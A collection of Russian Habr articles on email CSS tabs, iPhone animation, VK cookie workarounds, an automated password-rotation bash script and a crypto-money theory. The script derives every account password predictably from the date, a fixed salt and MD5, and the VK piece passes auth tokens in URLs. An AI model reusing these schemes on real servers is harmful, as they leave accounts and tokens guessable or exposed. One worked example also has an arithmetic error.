Заголовки вкладок «обернуты» ярлыками и размещены под связанным радиоэлементом, который скрыт с помощью стилей. Далее заголовок связывается с радиоэлементом с помощью [атрибута for](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/label) — в итоге клик по заголовку активирует радиоэлемент с id, совпадающим со значением атрибута for.
Затем использование псевдокласса `:checked` и родственные селекторов [adjacent (+)](https://developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_selectors) и [general (~)](https://developer.mozilla.org/en-US/docs/Web/CSS/General_sibling_selectors) можно выборочно выделять жирным шрифтом название и отображать связанный контент вкладки.
Эта простая техника работает на мобильных клиентах и webkit-based почтовых програмаах, таких как приложения в iOS и Android. Однако для отображения в веб-клиентах нужно еще поработать.
#### Интерактивные вкладки в вебе
В вебе проблемой является невозможность использования определенных CSS-стилей. Например, Gmail вырезает классы и id, Outlook.com не поддерживает псевдокласс `:checked`, а Yahoo! Mail вырезает селектор (~) и при рендеринге переименовывает id и классы, делая атрибут for бесполезным.
Реализовать поддержку в Yahoo! Mail и Gmail можно с помощью следующих трюков:
1) Радиоэлемент и контент вкладки нужно поместить внутрь ярлыка. Это позволит отказаться от использования атрибута for — клик на ярлыке автоматически будет активировать вложенный в него радиоэлемент.
2) Ярлыки, инпуты и контент будут вкладываться на манер матрешки. Это позволит использовать селектор (+), который требует, чтобы активированные и целевые элементы были связаны друг с другом — в нашем случае это радиоинпут и обертка span.
```
Tab 1
Tab 2
Tab 3
Tab 3 Content
Tab 2 Content
Tab 1 Content
```
3) Наконец, мы будем использовать технику lang (ее мы [описывали ранее](http://habrahabr.ru/company/pechkin/blog/263699/)), которая позволит использовать стили в веб-клиенте Gmail.
#### Работа с неподдерживаемыми клиентами
Также нам надо убедиться в том, что пользователи неподдерживаемых почтовых программ не будут видеть сломанное письмо. Для того, чтобы этого добиться, можно воспользоваться двумя стратегиями. Самый простой путь — полностью скрыть все, что связано с вкладками (это потребует, в частности, оборачивания контента в [условные комментарии](http://freshinbox.com/blog/outlook-com-removes-all-content-within-conditional-comments/) Outlook — вы же не думали, что это сработает в десктоп-клиенте Outlook?)
Одним из способов такого скрытия для клиентов, которые не поддерживают псевдокласс :checked, заключается в оборачивании контента вкладок в div-контейнер, которые уже будет скрываться. Затем выбранный радиоинпут размещается перед div-элементом, а в блок стилей добавляется селектор, который с помощью `:checked` отображает div-контейнер, если селектор совпадает:
```
.tabcheck:checked + div
{
display:block !important;
max-height: none !important;
height: auto !important;
}
TABBED CONTENT
```
Полное скрытие контента — не идеальный выход из положения. Так что можно еще и извлечь контент первой вкладки и отобразить его по умолчанию, однако завернуть его в div фиксированной высоты с наложением на скрытый контент. Если же активирована вторая вкладка, то контент первой вкладки все еще отображается, но невидим, поскольку вытесняется за пределы видимой части ограниченного по высоте div.
Еще один выход — полностью скрыть вкладки и отображать вместо них отобразить не-интерактивных шаблон (пример описан в [этом тексте](http://freshinbox.com/blog/shopping-in-email-add-to-cart/)).
Под спойлером расположен полный код примера (поработать с ним можно [на Codepen](http://codepen.io/freshinbox/pen/xbbZNa)):
**Код примера**
```
Interactive Tabs for Email
\* {
font-family: Helvetica, sans-serif;
margin:0;
padding:0;
}
body {
-webkit-text-size-adjust:100%;
}
.tab, .tabcheck {
display: none;
}
.tabcheck {
height:0px;
visibility:hidden;
}
.title1,.title2,.title3 {
background-color:#ffffff;
float: left;
padding:15px 20px 15px 20px;
border: 1px solid #888888;
border-bottom: 0px;
cursor: pointer;
border-radius: 5px 5px 0px 0px;
}
.tabcheck:checked + #container {
height: 363px !important;
max-height: 363px !important;
}
.tabcheck:checked + div,
#tab2:checked + span .content2,
#tab3:checked + span .content3
{
display:block !important;
max-height: none !important;
height: auto !important;
}
#tab1:checked + span .title1,
#tab2:checked + span .title2,
#tab3:checked + span .title3 {
background-color:#bbbbbb;
}
/\*
GMAIL [lang] fix
\*/
.gfix{}
\* [lang=x-title1],
\* [lang=x-title2],
\* [lang=x-title3]{
background-color:#ffffff;
float: left;
padding:15px 20px 15px 20px;
border: 1px solid #888888;
border-bottom: 0px;
cursor: pointer;
border-radius: 5px 5px 0px 0px;
}
\* [lang=x-tabcheck]:checked + [lang=x-container] {
height: 363px !important;
max-height: 363px !important;
}
\* [lang=x-tabcheck]:checked + div,
\* [lang=x-tab2]:checked + span [lang=x-content2],
\* [lang=x-tab3]:checked + span [lang=x-content3]
{
display:block !important;
max-height: none !important;
height: auto !important;
}
\* [lang=x-tab1]:checked + span [lang=x-title1],
\* [lang=x-tab2]:checked + span [lang=x-title2],
\* [lang=x-tab3]:checked + span [lang=x-title3]{
background-color:#bbbbbb;
}
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
|
Tab 1
Tab 2
Tab 3
| |
| --- |
| **Tab 3** |
|
Title 3A
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
Title 3B
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
| |
| --- |
| **Tab 2** |
|
Title 2A
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
Title 2B
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
| |
| --- |
| **Tab 1** |
|
Title 1A
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
Title 1B
The quick, brown fox jumps over a lazy dog.
[View Deal](#)
|
|
| |
```
##### Другие материалы о верстке писем в блоге «Печкина»:
* [How-to: адаптивные письма в Gmail](http://habrahabr.ru/company/pechkin/blog/263699/)
* [Как сверстать фоновое HTML5-видео в email-сообщении](http://habrahabr.ru/company/pechkin/blog/261447/)
* [Режим читателя: Пагинация в мобильных email-письмах](http://habrahabr.ru/company/pechkin/blog/264129/)
* [Как пасхалки в email помогли компании привлечь внимание к своей конференции](http://habrahabr.ru/company/pechkin/blog/264523/)
* [How-to: Типографика в дизайне email-писем](http://habrahabr.ru/company/pechkin/blog/259909/)
|
https://habr.com/ru/post/265409/
| null |
ru
| null |
# Плавная анимация на iPhone и iPad
Всем известно, насколько популярен стал мобильный браузинг. На современных устройствах веб все меньше и меньше уступает настольному оригиналу. Однако есть один камень преткновения: скорость. Хоть на выходе мы и получаем красиво отрисованную веб-страницу, производительность рендеринга и JavaScript оставляет желать лучшего.
Особенно это заметно на всевозможных слайдшоу: на мобильных и планшетах они тормозят, глючат, мерцают и всячески портят впечатления. Сегодня мы заставим анимацию работать идеально на iPhone и iPad.
Чтобы понять о чем идет речь, достаточно открыть в Mobile Safari любую страницу с анимацией, да вот хотя бы [домашнюю страница jquery.cycle](http://jquery.malsup.com/cycle). На компьютере все плавно и замечательно, а на iPhone — тормозящий мрак. На реальных слайдерах с большими фотографиями ситуация еще хуже.
Можно было бы подумать, что маленькому девайсу не под силу выжать больше, однако это не так. Умудряются же работать без тормозов некоторые интерфейсы, в частности фреймворк Sencha и iPad-журналы. Как им это удается? Аппаратное ускорение спешит на помощь!
Есть замечательные CSS3-свойства transform и transition. Первое управляет преобразованием элемента, второе управляет CSS-анимацией. В частности, с помощью свойства transform можно сдвинуть элемент по оси X или Y, а с помощью transition можно этот сдвиг анимировать. Отличие от сдвига свойствами margin-left/margin-top и left/top в том, что сдвигаться будет не сам элемент, а его «графическое отображение» на странице. Таким образом получится избежать переотрисовки макета страницы при каждом сдвиге, а также снизить степень использования JavaScript.
Нужный нам параметр называется translate3d. И так получилось, что только он действительно на что-то влияет: по крайней мере, на прошивке 4.1 использование простого translateX не приносило успеха. Итак, если при анимации обычными способами мы подключали jQuery и вызывали метод animate:
`$('#slide').click(function() {
$(this).stop().animate({'margin-left': 650}, 1000);
});`
То теперь нужно лишь выставить необходимое свойство в CSS, задать время и вид анимации:
`$('#slide').click(function() {
$(this).css({
'-webkit-transform': 'translate3d(650px, 0px, 0px)',
'-webkit-transition': '-webkit-transform 1s linear',
});
});`
Все остальное браузер сделает сам. Америку этот прием, конечно, не открывает, но зато все дрожания и подлагивания на iPhone как рукой сняло. Разве что осталось небольшое подмигивание при старте анимации, но и это поправимо. Нужно просто явно прописать указанные свойства в CSS с начальными значениями transform:
`#slide {
-webkit-transform: translate3d(0px, 0px, 0px);
-webkit-transition: -webkit-transform 1s linear;
}`
Не следует также злоупотреблять этими свойствами и выставлять их всем подряд элементам и, особенно, картинкам. Mobile Safari может просто рухнуть. А так, используя этот нехитрый метод, можно добиться идеальной работы вашего сайта на мобильных устройствах, поддерживающих аппаратное ускорение.
[Страничка с демо](http://andrewmarcus.ru/webkit)
[Архив с демо](http://andrewmarcus.ru/webkit/webkit.rar)
Я написал два плагина, использующих этот метод: слайдер с тач-контролом и слайдшоу. Слайдер практически готов, слайдшоу нужно допилить, но пользоваться можно. Документацию и страницу с описанием сделать пока не успел. Думаю, кому-то пригодится для разработок.
[Демо слайдера и слайдшоу](http://andrewmarcus.ru/webkitshow)
[Архив с ними](http://andrewmarcus.ru/webkitshow/webkitshow.rar)
Можно вызвать слайдер с параметром mobileMode: 'touchMargin' и посмотреть, как бы это выглядело, используй я свойство left.
Кроме того, следует упомянуть интересный плагин [jQuery Enhanced Animate](http://playground.benbarnett.net/jquery-animate-enhanced/), который позволяет на лету преобразовать анимацию некоторых свойств в вебкит-анимацию. Работа плагина не идеальна, но он заслуживает внимания.
|
https://habr.com/ru/post/110748/
| null |
ru
| null |
# Авторизация пользователей, у которых заблокированы cookies
Во всех браузерах есть опция, позволяющая запретить приём cookies со сторонних сайтов (например, из iframe с отличным от текущего доменом). В некоторых браузерах (привет, Apple) эта функция включена по умолчанию, но часто пользователи самостоятельно её включают и благополучно об этом забывают, вследствие чего разработчик не может записать необходимые данные в cookies или localstorage. Например, при разработке приложений для ВКонтакте вы можете столкнуться с такой проблемой.
Я хочу поделиться простым и изящным решением, как обойти это ограничение.
В принципе, когда у нас есть любой другой способ идентифицировать пользователя, эта проблема стоит не столь остро, всегда можно по VK ID записать или забрать из базы необходимые данные. Но для небольших приложений это дополнительная нагрузка, тем более, если хранить нужно пару строк.
К счастью, в API ВКонтакте есть [методы для хранения данных](http://vk.com/developers.php?oid=-1&p=storage.set) на серверах ВК (key-value хранилище). Нам остаётся только записать и прочитать оттуда данные. Но мы постараемся сделать это максимально красиво.
Предположим, что нам нужно записать в cookies какие-то пользовательские данные (например, [нам](http://vk.com/app3079606) надо хранить пользовательский токен авторизации в Instagram). Основная идея — записать данные как в куку, так и в хранилище ВКонтакте, а затем максимально быстро.
```
var data = 'abcde'; // Наши данные, которые мы обычно храним в куках
document.cookie = "userdata="+data+"; path=/; expires=Tue, 31 Dec 2013 23:59:59 GMT";
// У пользователей с включенной опцией блокирования сторонних кук
// эта кука не установится
// И вот теперь записываем данные в хранилище
VK.api('storage.set', { key: 'userdata', value: data }, function(response) {
// И редиректим на необходимую страницу, добавив в GET-параметр наши данные
window.location = "/page_for_logined_users?userdata="+data;
});
```
В примере выше мы перенаправили пользователя на какую-то страницу, где требуются записанные данные (в нашем приложении это главная страница, которая использует пришедший токен). Понятно, что при следующей загрузке приложения эти данные пропадут из GET–параметра и останутся только в хранилище ВК. Конечно, мы можем достать их с помощью Javascript API, но мы же пишем изящное решение ;-).
Чтобы можно было получить наши данные на серверной стороне приложения мы должны заполнить поле «Первый запрос к API» в настройках приложения:
```
method=storage.get&key=userdata&format=json&v=3.0
```
Таким образом, ВКонтакте при обращении к нашему приложению будет передавать GET–параметр **api\_result** — в нём будет находиться JSON-объект с нашей кукой. Также ничего не мешает проверять наличие куки в nginx (если поменять format на xml):
```
if ($arg_api_result ~ "%3Cresponse%3E(.*)%3C%2Fresponse%3E") {
set $userdata $1;
rewrite ^ /page_for_logined_users?userdata=$userdata? redirect;
}
```
Так, на серверной стороне мы можем сделать что-то вроде:
```
$userdata = (isset($_COOKIE['userdata'])) ? $_COOKIE['userdata'] : (isset($_GET['userdata'])) ? $_GET['userdata'] : false;
```
и получить данные в целости и сохранности. Если без предложенных извращений с nginx, то достаточно будет разобрать **api\_result**:
```
if (isset($_GET['api_result'])) {
$data = json_decode($_GET['api_result'], 1);
$userdata = (!empty($data['response'])) ? $data['response'] : false;
}
```
P.S. Также, пользуясь случаем предлагаю вашему вниманию интересный способ оптимизации нагрузки с помощью вышеописанного метода. Допустим, в приложении нам нужен некий token, который мы храним в куках или в хранилище ВК. Однако, само приложение — статичный html–файл, в котором серверный язык, например, нужен только для того, чтобы этот токен вставить в приложение. Конечно, мы можем из JS запросить необходимую куку или данные из хранилища ВКонтакте, но мы же пишем изящное решение ;-).
Итак, можно настроить nginx (или Apache) следующим образом:
```
# Если есть кука
if ($http_cookie ~ "userdata") {
set $token $cookie_userdata;
set $gotohtml "1";
}
# Если есть данные из API
if ($arg_api_result ~ "%3Cresponse%3E(.*)%3C%2Fresponse%3E") {
set $token $1;
set $gotohtml "1";
}
# Если не страница авторизации (http://example.com/)
if ($request_uri != /$is_args$args) {
set $gotohtml "";
}
# Идём к статичному кэшируемому файлу
if ($gotohtml ~ 1) {
rewrite ^ /index.html#$token? redirect;
}
```
Ну и в Javascript получить нужные данные:
```
var token = window.location.hash.substring(1);
```
Таким образом мы получим возможность всех залогиненных пользователей отправлять на html-файл (который nginx отдаст очень быстро), передавая в хэше любые необходиме параметры. А сам файл можно вообще вынести на CDN, тем самым ещё сильнее снизив нагрузку на ваш сервер.
|
https://habr.com/ru/post/150644/
| null |
ru
| null |
# Пароли для ленивых
Недавно один из провайдеров, где я арендую выделенные сервера, был взломан. Нанесенный ущерб был достаточно невелик, благо бэкапы делаются ежедневно. С другой стороны — менять пароли на несколько десятков аккаунтов [бессонной ночью перед отпуском](http://www.bukv.net/las-vegas-part-0/2009/07/19/) это тоже занятие не из радостных.
Идея автоматизации смены паролей свербила мозг довольно долго, несколько хабратопиков подтолкнули в нужном направлении. Идея была простой — менять пароли насколько можно часто (например — каждый день), чтобы даже если кто-то и заполучил пароль из переписки двухдневной давности — с ним уже ничего нельзя было сделать. В идеале — система должна генерировать и менять пароль сразу перед ежедневным бэкапом каждого аккаунта.
Легко сказать — автоматизировать смену паролей на линукс-сервере — я этот ваш bash в глаза не видел (не считая башорга, конечно), я вообще совсем другими вещами в этой жизни занимаюсь. Однако методика разбивания задачи на простейшие шаги и гугл помогли решить задачу буквально за один вечер.
Шаг первый — получаем MD5 hash от какой-нибудь строки, например от сегодняшней даты:
`echo -n $(date +%F) | md5sum`
Шаг второй — присваиваем это удовольствие какой-нибудь переменной, лучше сразу 2 раза, чтобы длиннее получилось (потом покажу зачем):
`a=$(echo -n $(date +%F) | md5sum) && a=${a:0:32}${a:0:32}`
Шаг третий — из получившейся строки длиной в 64 символа выбираем, например, 27 символов с позиции номер сегодняшний день (т.е. если сегодня третье августа, то начиная с третьей позиции). Таким образом на 31 день месяца мы гарантированно укладываемся в строку из 64 символов (31 + 27 = 58). Можно выбрать любое другое число, главное — уложится в 64 символа или сделать исходную строку длиннее.
`hs=${a:$(date +%d):27}`
Следующий, четвертый шаг — получить список всех аккаунтов на сервере. Меня устроил такой вариант (если кто-то предложит более точный — буду благодарен):
`cat /etc/passwd | grep "/home" | cut -d: -f1`
Самым сложным оказался пятый шаг — перебор строк в получившемся списке юзеров. После получаса экспериментов у меня заработал следующий (промежуточный) вариант, который выводил мне имя юзера и получившуюся заготовку для пароля:
`lines=($(cat /etc/passwd | grep "/home" | cut -d: -f1))
for i in "${lines[@]}"
do
echo "$i" : $hs
done`
Понятно, что если просто оставить такой вариант, то зная сам алгоритм подобрать пароль не составляет большого труда. Поэтому я решил немного усложнить ситуацию и шестой шаг у меня выглядел так:
`salt="abracadabra"
lines=($(cat /etc/passwd | grep "/home" | cut -d: -f1))
for i in "${lines[@]}"
do
echo "$i" : $hs
s=$salt"$i"$hs
newhash=$(echo -n "$s" | md5sum)
done`
Иными словами — к собранному из текущей даты хэшу мы добавляем имя аккаунта и «соль», после чего снова рассчитываем хэш от результата. Добавляя известную только нам «соль» мы «ломаем» структуру алгоритма, а добавляя еще и имя аккаунта мы делаем хэш результата уникальным для каждого из них. Раз уж мы собираемся менять пароли каждый день — дадим разгулятся нашей паранойе и не будем делать все пароли одинаковыми :)
В процессе поиска удобной команды смены пароля для юзера я наткнулся на упоминание о том, что у bash все ходы записаны. И действительно, файлик .bash\_history самым наглым образом показал мне куски моих экспериментов. Поэтому пришлось еще изучить команду history и ключ -с в качестве седьмого шага.
Восьмой шаг, что очевидно, выглядел так:
`cmd=`echo "$i":$newhash | chpasswd`
echo $cmd`
Девятый, и последний шаг был — собрать все это вместе и добавить в cron сразу перед запуском ежедневного бэкапа. Скрипт получился примерно такой:
`#!/bin/bash
#
# Prep some salt
salt="abracadabra"
# Calculate hash from today's date and add it to itself
a=$(echo -n $(date +%F) | md5sum) && a=${a:0:32}${a:0:32}
# Strip 27 characters starting from the character number of today's day of month
hs=${a:$(date +%d):27}
# Grab users into array
lines=($(cat /etc/passwd | grep "/home" | cut -d: -f1))
# For each user create a new pass with salt + user name + hash
#
for i in "${lines[@]}"
do
s=$salt"$i"$hs
newhash=$(echo -n "$s" | md5sum)
newhash=${newhash:0:27}
# echo "$i" : $salt"$i"$hs : $newhash # print this out if you want to
cmd=`echo "$i":$newhash | chpasswd`
echo $cmd
done
history -c`
Явно видные недостатки:
— сильная алгоритмизация, т.е. в голове такой пароль не удержишь
— используются только маленькие буквы и цифры, т.е. словарь для перебора мал
— под раздачу паролей могут попасть аккаунты, которым менять пароли не нужно (сразу не соображу какие, но например на одном из серверов у меня есть shell аккаунт для использования PuTTy в качестве прокси — я бы не хотел чтобы у этого аккаунта пароль менялся каждый час).
Достоинства:
— пароль можно менять как угодно часто (если есть желание — можно вместо даты использовать дату/время и менять пароль раз в минуту или даже в секунду)
— частая смена и большая длина компенсируют простоту словаря (только маленькие буквы и цифры)
— зная алгоритм и «соль» пароль легко сгенерировать на любой машине не боясь за его сохранность — все равно на следующий день/час/минуту :) пароль будет уже другой
— простота автоматизации, настраиваемость (всегда можно подкрутить алгоритм под себя) и как результат — значительная экономия времени на смене паролей для большого числа аккаунтов.
Вопросы:
— можно ли подобным образом генерировать более сложные пароли, с использованием разных регистров и служебных символов?
— какие еще минусы есть у данной реализации?
— какие еще плюсы есть у данной реализации?
— можно ли указанные минусы скомпенсировать или вообще от них избавится (например чтобы нейтрализовать изменение паролей на каких-то аккаунтах можно создать стоп-лист и выбрасывать из общего списка аккаунты, которые есть в стоп-листе)?
UPD: Самые первые комментарии навели на необходимость пояснения. Клиенты изредка сами заходят в свой аккаунт (например — в cPanel) и именно им удобнее логин/пароль, а не логин по сертификату. Шелл для этих аккаунтов, как правило, отключен вообще (за очень редкими исключениями).
|
https://habr.com/ru/post/66029/
| null |
ru
| null |
# КрияДеньги. Часть 3. Теория
[КрияДеньги. Часть 1. Введение](http://habrahabr.ru/post/179429/)
[КрияДеньги. Часть 2. Идея](http://habrahabr.ru/post/179701/)
**КрияДеньги. Часть 3. Теория**
[КрияДеньги. Часть 4. Проблемы и их решение](http://habrahabr.ru/post/179867/)
КрияДеньги. Часть 5. Программная реализация
[](http://ru.wikipedia.org/wiki/%D0%97%D0%BB%D0%B0%D1%82%D0%BD%D0%B8%D0%BA)
Предупреждение!
В этой статье очень много формул, мало поясняющего текста и совсем нет картинок. Статья будет интересна далеко не всем. И для ее понимания придется вдумываться в каждый параметр каждой формулы. Это скучно и трудно.
#### Отказ от гарантий
Сразу хочу сказать, что все что будет написано в этой статье — это моё сугубо личное мнение. Все, что здесь написано может быть абсолютно не верным. В каждой формуле может быть идеологическая или фундаментальная ошибка. Кроме того эта статья не полностью описывает все формулы и используемые термины. При попытке достаточно глубоко вдуматься в суть написанного может произойти изменение системы ценностей. Поэтому читайте на свой страх и риск.
#### Теория
Реализовать передачу денег используя транзакции можно аналогично, как это реализовано в Bitcoin. А вот реализовывать эмиссию придется по-другому. Попробую объяснить как это можно попытаться реализовать на примере.
##### Крия
Для начала, предлагаю ввести понятие "**Крия**" проекта. Значение Крия определяться в зависимости от кол-ва «действий» затраченных на реализацию проект и от оценки проекта обществом («кармы» проекта). Другими словами под Крия понимается количественное значение ценности, которую приносит проект для общества.
"[Крия](http://www.waylove.ru/lib/energy/24/2.html) — букв, «действие». В самом общем смысле означает любую деятельность, в специфическом — религиозную деятельность (обряды, таинства и т.п.). В йоге и тантре (см.) обозначает контролируемые движения и позы тела."
> [Крийя](http://nathas.org/dictionary/krijja/) (Крия) — действие, движение, деятельность. Первые две ступени аштанга-йоги (яма и нияма) составляют отдельную крийя-йогу, йогу действия.
>
> В общем смысле крийя означает любую деятельность. В специфическом значении это религиозная деятельность, особенно обряды, таинства и церемонии.
>
>
##### Артха
Кроме этого предлагаю ввести понятие "**Артха**". Под Артха будем понимать накопления пользователя, его деньги.
> [Артха](http://nathas.org/dictionary/artxa/) — материальное процветание, одна из целей человеческой жизни.
>
>
##### Формулы
Формула изменения Артха пользователя после завершения голосования:
**`Артха += ЭмитируемыеНовыеДеньгиПрибавочнойЦенности`** (1)
Эмиссия новых денег определяется так:
**`ЭмитируемыеНовыеДеньгиПрибавочнойЦенности = КоэфЭмисии * КрияПроекта`** (2)
Новые деньги прибавочной ценности эмитируются один раз для каждого проекта.
Если КрияПроекта меньше нуля, то положительной прибавочной ценности нет и эмиссия не производится.
Формула расчета коэффициента эмиссии за предыдущий расчетный период (например за предыдущие 65536 циклов):
**`КоэфЭмисии = СредняЭмиссияЗаЕдиницуКрияЗаВесьПериод / СредняяЭмиссияЗаЕдиницуКрияЗаРасчетныйПериод`** (3)
где
`СредняЭмиссияЗаЕдиницуКрияЗаВесьПериод = СуммаВсехДенегСистемы / КолвоВсехЦиклов`
`СредняяЭмиссияЗаЕдиницуКрияЗаРасчетныйПериод = СуммаВсехДенегЭмитируемыхЗаРасчетныйЦикл / 65536`
Коэффициент эмиссии позволит сглаживать периоды сильного роста эмиссии (при наплыве большого кол-ва проектов) и периоды малого кол-ва проектов. При использование этого коэффициента эмиссия денег будет примерно одинакового размера как в первый период существования системы так и в последующие. В периоды, когда проектов будет мало за единицу Крия будет эмитироваться больше денег, чем в периоды, когда проектов много. Это должно обеспечить стабильность развития системы в целом.
В начальный период существования системы формула расчета КоэфЭмиссии не будет работать. Поэтому, до момента в 65536 циклов КоэфЭмиссии нужно принять постоянной величины (константа). Например равное 1.00. Или, как вариант, отсчет циклов начинать не со значения 1, а со значения 65536.
Формулу для определения значения Крия проекта я предлагаю такую:
**`КрияПроекта = ОценкаПроекта * СтоимостьПроекта`** (4)
Формула определения значения оценки проекта:
**`ОценкаПроекта = Сумма(Оценка*Крия) / СуммаКрияВсехПользователей`** (5)
где
Оценка — ОценкаГолосующегоПользователя
Крия — КрияГолосующегоПользователя
ОценкаПроекта сможет принимать значения от -1 до +1. Значение -1 возможно, если все пользователи проголосуют против проекта; значение +1 возможно, если все пользователи проголосуют за проект. Оценивать проект могут только пользователи с положительной Крия, в значение СуммаКрияВсехПользователей так же учитываются только положительные Крия.
Формула оценки пользователя («Карма» пользователя):
**`ОценкаПользователя = Сумма(ОценкаПроекта)`** (6)
Формула определения значения Крия пользователя:
**`КрияПользователя = Сумма(КрияПроекта)`** (7)
#### Примеры
##### Простой пример
Допустим есть три пользователя с положительной Крия (User1, User2, User3). У пользователей User1, User2, User3 следующие значения Крия:
`User1 +1000`
`User2 +2000`
`User3 +3000`
Так же есть три проекта (Proj1, Proj2, Proj3), которые создали два других пользователя (User4, User5). User4 создал проекты Proj1 и Proj2, User5 создал проект Proj3. Проекты Proj1, Proj2, Proj3 набрали следующее кол-во денег на реализацию (стоимость проектов):
`Proj1 100`
`Proj2 200`
`Proj3 300`
Допустим все три проекта набрали необходимую сумму и были завершены (но с разными результатами). Пользователи проголосовали за проекты следующим образом (кто — за какой проект голосует — оценка):
`User1 Proj1 +1`
`User1 Proj2 +1`
`User2 Proj1 +1`
`User2 Proj2 -1`
`User3 Proj2 -1`
`User3 Proj3 -1`
Сумма Крия пользователей составляет:
`SummKriya = +1000+2000+3000 = 6000`
Учитываются только пользователи с положительным Крия, остальные в расчете не участвуют.
Оценки проектов будут такими ([формула 5](#Formula5)):
`ProjEst1 = (+1*1000+1*2000)/6000 = +0.50`
`ProjEst2 = (+1*1000-1*2000-1*3000)/6000 = -0.67`
`ProjEst3 = (-1*3000)/6000 = -0.50`
Крия проектов будут такими ([формула 4](#Formula4)):
`ProjKriya1 = +0.50*100 = +50 => Эмиссия`
`ProjKriya2 = -0.67*200 = -134 < 0 => Нет эмиссии`
`ProjKriya3 = -0.50*300 = -150 < 0 => Нет эмиссии`
Изменения Крия авторов проектов будут такими:
`UserKriya4 = ProjKriya1+ProjKriya2 = +50-134 = -84`
`UserKriya5 = ProjKriya3 = -150`
Для расчета коэффициента эмиссии нужно знать сколько было создано новых денег за расчетный период (предыдущие 65536 циклов) и сколько было создано денег за весь срок существования системы (например прошло 100000 циклов). Допустим за предыдущий период было создано 10000 единиц денег, а за весь период создано 12000 единиц денег. Тогда коэффициент для эмиссии будет таким ([формула 3](#Formula3)):
`EmissionFactor = (12000 / 100000) / (10000 / 65536) = 0.786`
Эмиссия составит ([формула 2](#Formula2)):
`Emission = 0.786*50 = 39 единиц денег`
В итоге, эти новые деньги будут зачислены прибавлены к Артха автора проекта Proj1 ([формула 1](#Formula1)):
`Artha += 39`
##### Пример определения максимальной эмиссии
0. Допустим, в момент создания системы будет эмитировано 1000 единиц денег за первый проект и 1000 единиц Крия.
1. Далее, при создании второго проекта стоимостью 1000 единиц и положительной оценки Крия проекта составит:
КрияПроекта = +1.0\*1000=1000
Допустим КоэфЭмиссии в начальный период работы системы равен:
КоэфЭмиссии = 1.00
Эмиссия составит:
Эмиссия = КоэфЭмиссии \* КрияПроекта = 1.00 \* 1000 = 1000
Общее кол-во денег в системе составит:
ОбщаяМассаДенег = 1000 + 1000 = 2000
2. Далее, при создании еще 10 проектов стоимостью 200 единиц и при положительной оценке
Суммарная Крия всех проектов прошлого периода:
КрияПрошлогоПериода = 1000 + 1000 = 2000
Суммарная Крия всех новых проектов:
КрияОдногоНовогоПроекта = +1.0\*200 = 200
КрияНовыхПроектов = 10\*200 = 2000
Общая эмиссия:
Эмиссия = 10 \* КоэфЭмисии \* КрияПроекта = 10\*1.00\*200 = 2000
Общее кол-во денег в системе:
ОбщаяМассаДенег = 2000 + 2000 = 4000
3. Далее, при создании еще 10 проектов стоимостью 400 единиц и при положительной оценки каждого
КрияПрошлогоПериода = 2000 + 2000 = 4000
Суммарная Крия всех новых проектов:
-КрияОдногоНовогоПроекта = +1.0\*400 = 400
КрияНовыхПроектов = 10\*400 = 4000
Общая эмиссия:
Эмиссия = 10 \* КоэфЭмисии \* КрияПроекта = 10\*1.00\*400 = 4000
Общее кол-во денег в системе:
ОбщаяМассаДенег = 4000 + 4000 = 8000
И так далее увеличиваясь в два раза за каждый цикл реализации проекта.
4. Рассмотрим более реальную ситуацию, когда кол-во проектов возрастет и далеко не все проекты будут получать положительные оценки. Например будет создано еще 10 проектов стоимостью 800 единиц каждый, но каждый проект в среднем наберет оценку 0.5 (что равносильно, ситуации когда половина массы проголосует положительно, а остальные проигнорируют проект).
ОбщаяМассаДенегПрошлогоПериода = 8000
КрияПрошлогоПериода = 8000
Суммарная Крия всех новых проектов:
КрияОдногоНовогоПроекта = +0.5\*800 = 400
КрияНовыхПроектов = 10\*400 = 4000
Общая эмиссия:
Эмиссия = 10 \* КоэфЭмисии \* КрияПроекта = 10\*1.00\*400 = 4000
Общее кол-во денег в системе:
ОбщаяМассаДенег = 8000 + 4000 = 12000
То есть рост массы денег уменьшился и составил 4000/8000 = 0.5 = 50% за цикл реализации проекта.
Цикл реализации проекта — это все то время, когда вложенные деньги не могут быть потрачены на что-либо пока не будет решения собрал проект необходимое кол-во денег или нет. Реализация таких транзакций, в принципе, не будет сложной проблемой. После того как становится известно набрал проект необходимую сумму или нет, транзакция или подтверждается или считается не принятой. Если сбор средств у каждого проекта будет проходить в течение 10000 циклов, то максимальное число «циклов реализации проекта» будет 65536 / 10000 = 6. И за это время максимальный прирост денежной массы составит 1000\*(2^6)=64000.
Если в данном цикле совсем не будет проектов или все проекты получат отрицательные голоса, тогда эмиссия производиться не будет.
##### Пример 2
Рассмотрим более реальный пример, когда в начальный период будут положительно оцениваться не все проекты и не во все проекты будут вкладываться свободные средства.
0. Допустим, в момент создания системы будет эмитировано 1000 единиц денег за первый проект и 1000 единиц Крия.
1. Далее, при создании второго проекта стоимостью 1000 единиц и положительной оценки Крия проекта составит:
КрияПроекта = +0.8\*1000=800
Допустим КоэфЭмиссии в начальный период работы системы равен:
КоэфЭмиссии = 1.00
Эмиссия составит:
Эмиссия = КоэфЭмиссии \* КрияПроекта = 1.00 \* 800 = 800
Общее кол-во денег в системе составит:
ОбщаяМассаДенег = 1000 + 800 = 1800
2. Далее, при создании еще 2 проектов стоимостью 500 единиц каждый (на общую сумму 1000 единиц) и при средней оценке +0.25
Суммарная Крия всех проектов прошлого периода:
КрияПрошлогоПериода = 1000 + 800 = 1800
Суммарная Крия всех новых проектов:
КрияОдногоНовогоПроекта = +0.25\*500 = 125
КрияНовыхПроектов = 2\*125 = 250
Общая эмиссия:
Эмиссия = 2 \* КоэфЭмисии \* КрияПроекта = 2\*1.00\*125 = 250
Общее кол-во денег в системе:
ОбщаяМассаДенег = 1800 + 250 = 2050
3. Далее, при создании еще 3 проектов стоимостью 300 единиц каждый и при средней оценки каждого +0.3
КрияПрошлогоПериода = 2000 + 2000 = 4000
Суммарная Крия всех новых проектов:
КрияОдногоНовогоПроекта = +0.3\*300 = 90
КрияНовыхПроектов = 3\*90 = 270
Общая эмиссия:
Эмиссия = 3 \* КоэфЭмисии \* КрияПроекта = 3\*1.00\*90 = 270
